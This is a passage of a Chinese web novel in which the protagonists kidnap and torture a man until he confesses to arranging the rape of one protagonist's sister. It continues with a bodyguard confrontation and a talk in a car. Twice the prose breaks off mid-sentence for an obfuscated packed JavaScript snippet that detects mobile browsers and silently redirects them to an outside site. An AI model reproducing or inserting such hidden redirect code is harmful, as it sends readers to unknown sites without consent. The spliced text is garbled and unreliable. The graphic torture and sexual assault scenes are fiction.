“砰砰砰。”他怒气冲天地捶在沈照左脸边的车窗上。
沈照眼里流露出看傻瓜一样的神情,开门下车。
韩渡没有急着出去,他看着沈照跟随何安来到被撞坏的车尾灯处,何安指着碎玻璃,怒容满面,嘴唇蠕动个不停,而沈照则面色微冷,并不说话。
就在何安情绪最为激烈时,沈照默默来到他身后,从口袋里拿出准备好的麻绳,两手将绳子绷直,随后眼疾手快地套在了何安脖子上。
何安浑身一震,双腿直蹬,面色惊恐地去抠喉咙上的麻绳。
韩渡推开车门,走到何安身前,没有去细看他涨成西瓜色的脸,而是直接用一张帕子捂住了他的口鼻。
45.韩卉的秘密
何安是被人用冷水泼醒的。
这时节的一壶冷水浇在脸上,他最先感受到的居然是一股温暖,然后才是要命的激寒。
他失控地颤栗,牙齿咬得咯咯作响。不知过了多久,他被冻僵的脑子终于恢复运转,他才意识到自己可能被人绑架了。
他记得昏迷前最后一眼,好像看见了一张熟悉的脸。
可是这里又是哪里?刚刚是谁泼的冷水?
“醒了?”韩渡站在距离他两米处,见他神智逐渐清醒,便开口道。
何安瘫坐在墙角,双手双脚被缚,闻言抬头望过来。借助从高窗上泄进来的月光,艰难地看清了说话人的长相,顿时,记忆像拼图一样贴合在了一起,他惊叫:“是你?!”
“还认识我,那我找你来的目的,你应该也知道了。”韩渡面若寒霜,俯视着脚下的何安。
何安脸上慢慢浮现出怒色,他冷然道:“真是小看你了,居然还能找到这里。我劝你赶紧把我放了,不然待会儿有你好看。”说着,他贴着墙扭动身体,试图靠自己站起来。
韩渡看着他怪异扭曲的姿势,并不过去阻止:“我既然能把你抓来,就有办法对付你那些中看不中用的保镖。如果你还指望他们来救你,不如趁早死心吧。”
何安却没被韩渡的话吓到,反而恶狠狠地瞪过来:“他们很快就能找到我,还会带着警察一起过来,到时候你就等着被抓吧,你这个阴沟里的老鼠,跟你妹一样上不了台面。”
此话一出,还没等韩渡作出反应,站在阴影里的沈照已经先一步走出来,抓起何安的头发在墙上连掼好几下,撞得他头破血流。
何安的痛呼嚎叫在空旷仓库里显得格外刺耳,韩渡望着他,目光看不出丝毫情绪。
做完这些,沈照重新退回韩渡身后。
韩渡看着捂头蜷缩在地上的何安:“你知道我要问什么,主动点,自己说吧,不然还要吃苦头。”
“呸!你他妈有本事就弄死我……”何安脖子上青筋暴起,依然很硬气。
这回不用沈照出手,韩渡自己走了上去,挥拳打在他鼻子上:“看来是敬酒不吃吃罚酒。”说完,韩渡抓起他的手,从袖子里滑出一把裁纸刀,将刀片推出三厘米长,抵在何安小指上,“不好意思,没买到合适的刀,这把不够锋利,可能要多切一会。我数到三,如果你还是不愿意说,就别怪我动手了。”
“一。”
何安呼吸急促,有鲜血从他鼻腔里缓缓流出。
“二。”
“你敢!你敢这样,以后我一定会把你整只手剁了。”
“谢谢提醒,待会儿我不介意再带走你一只手。”韩渡笑了笑,念出最后一个字,“三。”
念完,韩渡不再迟疑,裁纸刀倾斜而下,刀尖压在何安小指上,开始用力。
一道不短的血口顿时被刀片割开,眼看韩渡真敢下手,何安像被扔进热锅里的蚂蚁,顿时跳脚大喊,“住手!你疯了!我说就是了!”
韩渡抬起刀片,在何安眼珠前晃了晃:“不要耍花招,我虽然不清楚全貌,也听小卉说了不少,但凡有一处对不上,你知道后果。”
何安目不转睛地盯着那刀片,咽了咽口水:“我说完,你必须放我走。”
“好。”韩渡只是来逼问真相,并不打算取他性命。
见韩渡答应得这么爽快,何安反倒不敢轻信,思考了几秒后,又补充说:“我要全须全尾地走出这里。”
“不会让你缺胳膊少腿。”
听见这句话,何安不由暗喜,心想:告诉他又如何,等我走出这里,再回来找他们算账。
清冷的月辉洒下,将废弃仓库照得像琉璃世界。在何安的叙述中,那晚发生的事终于慢慢揭开了面纱。
那晚,是何安先到的酒店。跟他一起来的,还有他的好友赵科元。他们到得早,就提前在房间里喝了点酒,喝到兴头上时,韩卉才姗姗来迟。
何安还记得当时韩卉穿的是一件嫩绿色的连衣裙,露出光滑细长的小腿,脚趾涂着鲜红的指甲油,黑瀑般的头发披散在肩上,脸上搽了粉,但只画了淡淡的妆——这是他特意吩咐的,赵科元不喜欢浓妆艳抹的女人。
他看到了韩卉眼里的忐忑,但他只觉得装模作样。这一切都是韩卉自己想要的,她有什么好紧张的?
韩卉进了房间,像根木头桩子一样杵在赵科元面前,一点也没有眼力见。反倒是赵科元这个“金主”主动搭的话:“就是你想要签约摩卡娱乐?”
听到“摩卡娱乐”四个字,韩卉终于来了点机灵劲,又往前走了一步:“您真能帮我进摩卡娱乐?”
“一句话的事。”赵科元上下打量韩卉,指示道,“转一圈我看看。”
韩卉听从指示转了一圈,仿佛赵科元的眼睛就是导演手里的镜头。
“嗯,小有姿色,不过嘛……”
“不过什么?”韩卉双手握紧,身体微微前倾。
“你这样条件的人,燕城太多了。”赵科元面露惋惜,惋惜中还有一丝不易察觉的轻蔑。
“我……”韩卉想争辩,顾念赵科元的身份,只好求助地看向何安——她这位负责牵线搭桥的男朋友。
何安咳了咳,坐到赵科元身边,笑道:“时代变了,现如今不是只有大美女才能进娱乐圈。小卉清丽之姿,已经足够,况且她还会跳舞,跳得非常好,你们摩卡不是最喜欢签舞蹈学院的人吗?”
“哦?”赵科元似乎重新有了点兴趣,他与何安默契地对视了一眼,看向韩卉,“那就跳两下吧。”
在今晚前,何安就跟韩卉透露过,摩卡娱乐的赵太子十分爱看美人跳舞,现如今摩卡娱乐在燕城的各个舞蹈学院大肆签人,也是为了投其所好。事实证明摩卡的这一策略并没有错,比如当红流量小生苏郁明,就是最早一批签约的舞蹈生。
韩卉早有准备,亮出笑容,双臂轻抬,身体开始有节奏地舞动。刚开始还好好的,可是一个旋转之后,她的裙摆飘扬,隐约露出下面穿着的肉色安全裤。
赵科元的视线越来越往下,直到钉在了她的腿根上。
韩卉的动作幅度逐渐变小,动作磕磕绊绊,她不再踢腿、跳跃、旋转,而是只依靠腰肢和手臂完成剩下的动作。
一舞结束,房间里静得令人心惊。
“你知道你今晚是来做什么的吗?”赵科元皮笑肉不笑。
韩卉目光下垂,用细若蚊蝇的声音回答:“我知道。”
“那你跳得这么忸怩作态,是什么意思?”
“……我没有。”韩卉的头垂得更低。
“我看,你还是回去老老实实跳舞吧,别
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14125640|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说什么进娱乐圈的蠢话了。”
“不要!”韩卉急切地抬起眼睛,眼睑微颤,“请让我进摩卡娱乐,我什么都愿意做。”
“什么都愿意,我看未必吧?”
在赵科元说这话时,何安悄无声息地出现在韩卉身后,一双冰凉的手贴在了韩卉脊背,捏起她后颈的拉链扣,一寸寸缓缓往下拉。
韩卉一个冷颤,却咬住嘴唇,一动未动。
赵科元把人搂上床的时候,何安正坐在沙发上接着喝酒。原本还好好的,可是不知道为什么,就差临门一脚了,韩卉忽然挣扎大叫起来,两只手在赵科元脸上推搡。
何安起身过去瞧,刚好看见赵科元掐着她脖子给了她一巴掌,把人打懵后继续施为……
事后,赵科元提起裤子,面色不愉地摔门离开了。何安走到里间,看着弓腰坐在床边的韩卉,韩卉那头本来柔顺的长发变得蓬乱如稻草,她握着被单遮在胸前,听见脚步声,下巴抬起,脸上红一块黑一块,眼角的湿痕已经凝固,强装无事地问他:“这下我可以进摩卡了吗?”
“赵太子说,你这种性子,摩卡伺候不起。”说着,何安解开自己的衣扣,往她逼近,“其实,我还有别的渠道……”
“畜生……”韩渡闭了闭眼睛,竭力平息怒气,睁开眼,却仍有熊熊怒火在眼中灼烧,“小卉是你女朋友,你怎么能把她往火坑里推?!”
“我能看上她,已经是她最大的福气,是她没有自知之明!”何安也怒道,“燕城有多少人你知道吗?每年全国往这里输送多少新鲜□□你知道吗?你随便进一家菩树原的会所,长相不输女明星的比比皆是,她凭什么觉得她能出头?她想往上走,我成全她也有错?怪就怪她明明有捷径可以走,却还愚蠢地错失机会!”
韩渡反手给了他一巴掌。“她的梦想是进歌舞团跳舞,要不是你在她面前说了什么,她能想进娱乐圈?”
何安被一巴掌扇歪了脸,却就此疯笑起来:“歌舞团?哈哈哈哈哈,真是天大的笑话,现在能进娱乐圈,谁还想进歌舞团?你这个做哥哥的真的了解她吗?你知道她有个好朋友被摩卡娱乐签走之后,她有多失态吗?”
“住口!”韩渡横眉怒斥,“到了这地步,你还想污蔑小卉。”
“我是不是污蔑她,你可以自己去问。”何安眉眼一压,露骨地打量韩渡,“你不是很厉害吗?魏从峥为了护你,不惜让我家死老头把我送到这里。你妹妹那么想当女明星,你让魏从峥帮她啊,还不是他动动手指头的事?哈哈哈哈,真是要笑死我,你们兄妹俩一路货色,都是卖身也卖不明白的贱货,到头来还要装清高——”
韩渡怒极,正要动手,被沈照拦住:“我来吧,别脏了你的手。”
月光下,沈照脸色极为阴沉,眼底幽冷泛着凶光。
韩渡注视着在沈照脚下像鱼一样扑腾的何安,掏出口袋里的录音笔,按下了结束键。
“你今晚说的话,我已经全部录下了,咱们法庭上见吧。”
“别想吓唬我,你这是非法取证,没有用的!”何安疼地面目狰狞,却还笑着大喊。
“就算法律无法制裁你,道德和舆论也会。”韩渡并不担心,光脚的不怕穿鞋的,最坏不过是鱼死网破,“咱们走着瞧。”说完这句,韩渡后退了两步,把全部空间留给沈照。
46.真正的补偿
从仓库回来这晚,韩渡彻夜难眠。
何安说的那些话缠绕在他脑海里,他忍不住一遍遍去回想。那些话都是真的吗?他了解过韩卉吗?似乎很久以前,韩卉确实提到过摩卡娱乐,似乎……她很羡慕那些还在学校就被星探或者经纪公司签走的同龄人。
可是,只是羡慕,会促使她下定决心拿自己去做交易吗?最后她是后悔了吗?她会不会有什么难言之隐?他需要怎么去安慰她才合适?
韩渡从何安那里听到了“真相”,可却更加迷茫了。
翌日一早,韩渡强打精神收拾好行李,与沈照去旅馆前台退房。这里的事情已经处理完,他们打算今天就回国,以防夜长梦多。
可是,就在他们刚刚退房,一群黑衣安防人员闯了进来,将他们团团围住。其中一人四肢健壮,往前踏出一步:“二位,跟我们走一趟吧。”
“是何安让你们来的?”韩渡看向这人。他们来雅克图没多久,除了何安,想不到还会有谁这么大张旗鼓来找他们麻烦。
“跟我们走就是了。”那人道。
“如果我们不去呢?”
那人鼻翼耸动,不屑地冷笑一声,抬臂一挥,让身后部众动手。
韩渡甩手把行李包砸了过去,阻拦了他们一脚,趁此间隙,沈照绕到韩渡身前,由他在前面开路,韩渡帮他补刀,二人配合着往旅馆出口跑,那群人一时竟没能拦住。眼见他们就能突围出去,又有一支训练有素的持械小队往旅馆围过来,看人数竟不比这里的少。
韩渡本以为还是何安请来的保镖,可是这波新来的人一进旅馆,就跟上一批人冲撞在一起,甚至互相攻击起来。当先一人攻势凌厉,一来就放倒了好几个,身手极为不凡。他惊疑不定,觉得这人身形有些眼熟,却无暇细思,正要闯出去,他在人群里看到一个黑发微卷、浓眉大眼的年轻男人。
“王舍?”他皱眉低喃,王舍怎么会在这里?
“韩司机——哦不对,失敬失敬,韩总!好久不见呀。”王舍在几名保镖的护卫下阔步走来,举手在额前一挥,春风满面地跟韩渡打招呼。
韩渡看着恰好挡住自己去路的王舍,面色平淡地点头:“王助理。”
“诶呀,您太客气了,叫我小王就可以。”王舍笑容不变,极为热忱,普通话说得比上回更好了,“承蒙韩总看得起,点名道姓要我陪着南下,以后我小王一定为您鞍前马后,您让我往东,我绝不往西。”
见韩渡脸色微变,神情不同寻常,沈照一只手臂挡住了要上来握手的王舍。
“这位是?”王舍射线一样的目光在沈照身上走了一圈,客气地问。
“你怎么会在这里?”韩渡不答反问。
“魏总担心您的安危,特意命我过来,让我一定护您周全。”见韩渡眉间皱起竖纹,王舍又补充道,“当然,也为了商议后面去蒲贡的事。”
“你是怎么找到这里的?”韩渡却怀疑自己被他们跟踪了。
“找到何公子,自然就能找到您了。”王舍对答如流,“幸好来得还算及时,不然我可没法跟魏总交代。”
对方张口闭口魏总,显然是有意强调。韩渡道:“你既然对他这么忠心耿耿,我也不勉强你跟着我。蒲贡我会自己去,就不劳你跟着了。”
“您错怪我了,我也只是听命办事。”王舍笑着摇头,话里软中带刺,“况且,魏总不仅是我的领导,也是您的领导呐,为他办事跟为您办事,难道不都一样吗?”
韩渡笑了笑,没兴趣跟他争辩。他本意是想多一位见多识广的助手,而不是添一个对他心怀不满的麻烦:“我跟我的朋友还要赶飞机,王助理请留步吧。”
“还有件事,再耽误您两分钟。”王舍像是看不懂韩渡的眼色,向不远处唤了声“老丁,快过来。”
“老丁”正是此前韩渡留意到的那个人,他正在与人缠斗,闻言放倒对方,三步并两步走过来。韩渡这才看清他的长相,脸型瘦长,双腮略凹,眉弓很高,眼睑耷着,眼里有种放空的无神,最显眼的还是他左脸上一条蜈蚣般的长疤,扭曲狰狞,破坏了整张脸的和谐感,使他原本周正的长相变得阴森可怖。
“老丁”虽然绰号这么叫,其实年纪并不大,只有三十岁左右。他看向韩渡,毕恭毕敬地点了点头。
王舍把人拉过来,笑着对韩渡介绍:“这位是魏总给您安排的贴身保镖老丁,大名丁有方,到了那边,由他负责保护您的安全。”
韩渡正要说话,王舍已经往前走了两步,靠近他耳边道:“魏总说,那份面试函是对您的承诺,不是补偿,老丁才是,还请您收下。蒲贡鱼龙混杂,多个老丁,做事会方便很多。”
“补偿”这两个字落在韩渡耳中,像针扎一样尖锐,他不清楚王舍知道多少,看着王舍的眼睛道:“感谢魏总好意,我是成年男人,自保没有问题。”
“我要是您,我就不会这么想。”王舍笑道,“您要知道,漂亮男人在蒲贡的处境,跟漂亮女人没有差别。”
韩渡双眉拢得更紧,这时,沈照开口道:“这个人确实身手不错,有他保护你,我也能放心些。”他在旁边听了有一会儿,也听出些门道来,就事论事的话,他也赞成多带位保镖。
韩渡依然没有答应,沈照不清楚内情,这么说无可厚非,但他不想再跟魏从峥有更多牵扯。
见状,王舍也没有强求,抿唇一笑:“无妨,还有时间,您再多考虑几天。除此之外,魏总还有一份歉礼要我转送给您。”说着,他从口袋里拿出一串钥匙,双手奉到韩渡面前,“这是他以私人名义为您购置的一套房子,您从蒲贡回燕城述职的时候,可以在里面落脚。这房子市值八千万,窗外就是燕城最美的鸿栖湖,您无论是自己居住,还是接家人一起过来,都是很不错的选择。”
此话一出,沈照眼底闪过轻微的诧色,看向韩渡。
“真是份厚礼。”韩渡叹道,缓缓从那串钥匙上收回目光,原来他的信任和感情值这个价。“请转告魏总,我已经有房子了,一个人住不了那么多。”说完,韩渡回头拾起行李,看到场面已经完全被王舍带来的人控制住,道谢后带着沈照离开了这里。
王舍没有追上来,而是与老丁站在一起,目送他们开车离开。
去机场的路上,沈照双手放在方向盘上,忽然说道:“渡哥,你跟魏从峥到底是什么关系?”何安昨夜的话已经透露了端倪,如今再看魏从峥这样塞人又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14149769|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塞钱的手笔,他很难不多想。
韩渡料到他会问,却没想到会这么直接。
“我跟他在一起过。”犹豫片刻,韩渡只能如实相告。
听到这个答案,沈照双手握了握方向盘,仍然目视前方,语气听起来也很平稳:“什么时候的事?”
“半个月前。”
“……你喜欢他什么?”
车内安静了会儿,韩渡回答:“我们已经分手了,现在说这个没有意义。”
“怎么会没有意义?”沈照侧过头,看了韩渡一眼,“渡哥,你跟他不合适。以前的事我管不着,但是我不想你再被他骗。”
“骗?”韩渡疑惑地问,他从没跟沈照提过关于魏从峥的事,沈照是怎么知道的?
沈照冷笑道:“不然他给你什么补偿?”
“齐大非偶。到了魏从峥那个位置,找情人就跟喝水一样,这种人是没有真心的。”沈照唇角微翘,凝视韩渡侧脸,“而渡哥你重情重义,跟他不一样。你们不合适,强行在一起,最后伤心的只会是你。”
“你说得对。”韩渡回望他,淡笑道,“你放心,我不是自讨苦吃的人,我跟他已经结束了。好了,别说这些事了,我这次去蒲贡,除了家里人,最担心的就是你和邢师恒。”
“担心我们?”沈照直视前方,耳朵微动,“担心邢师恒就算了,担心我什么?”
“你更要担心。”韩渡道,“我一直就想问你,你要接手的那些产业是做什么的?沈家是做什么的?”
“一些见不得光的东西,渡哥你不用知道。”沈照却没有老实回答韩渡的问题。
韩渡没有说话,只静静地盯着他看,耐心等待。
终于,沈照受不了他这样,无奈地撇了撇嘴:“沈家做边境贸易发家,祖籍在西北的寒州,那里靠近北疆,疆域外面小国林立、战火不断。恰好寒州民风彪悍、各种矿产资源丰富,沈家就培养了一批打手,又靠着寒州的资源,一步步发展壮大,到了近几十年,也就是我爷爷那辈,才来到燕城。”
沈照的措辞非常精要,一些话没有说得太明白,他相信韩渡能听懂他的意思。韩渡也确实听懂了,如果沈家的那些产业都沾着暴力和血腥,那也难怪沈照和邢师恒频频受伤。
沈照瞟了一眼韩渡,道:“渡哥,你能离开禹州也好,你跟我们走得越近就越危险。”而他现在还没有能力保证身边人的安全。
韩渡双手平放在膝上:“你呢,打算一辈子干这个?一辈子担惊受怕?”
沈照望着前方平坦的公路,笑道:“你知道吗,我从小在国外漂泊,身边只有母亲,没有其他人,也没有朋友,什么都没有,那种感觉才是最可怕的。因为谁都可以来欺负你,谁都能踩你一脚,而你除了愤怒和不甘心,什么也做不了。”他看向韩渡,艳丽幽邃的眼睛里跳动着名为野望的焰苗:“渡哥,不瞒你说,正是为了追求眼前的这一切,我才选择回国。”
韩渡怔怔地望着他,眼前的沈照逐渐与第一次见面时的形象重合起来。
“渡哥,等你去蒲贡,我还能去看你吗?”沈照话锋一转,又开口问道。
韩渡回过神:“当然,等我安顿好,随时欢迎。”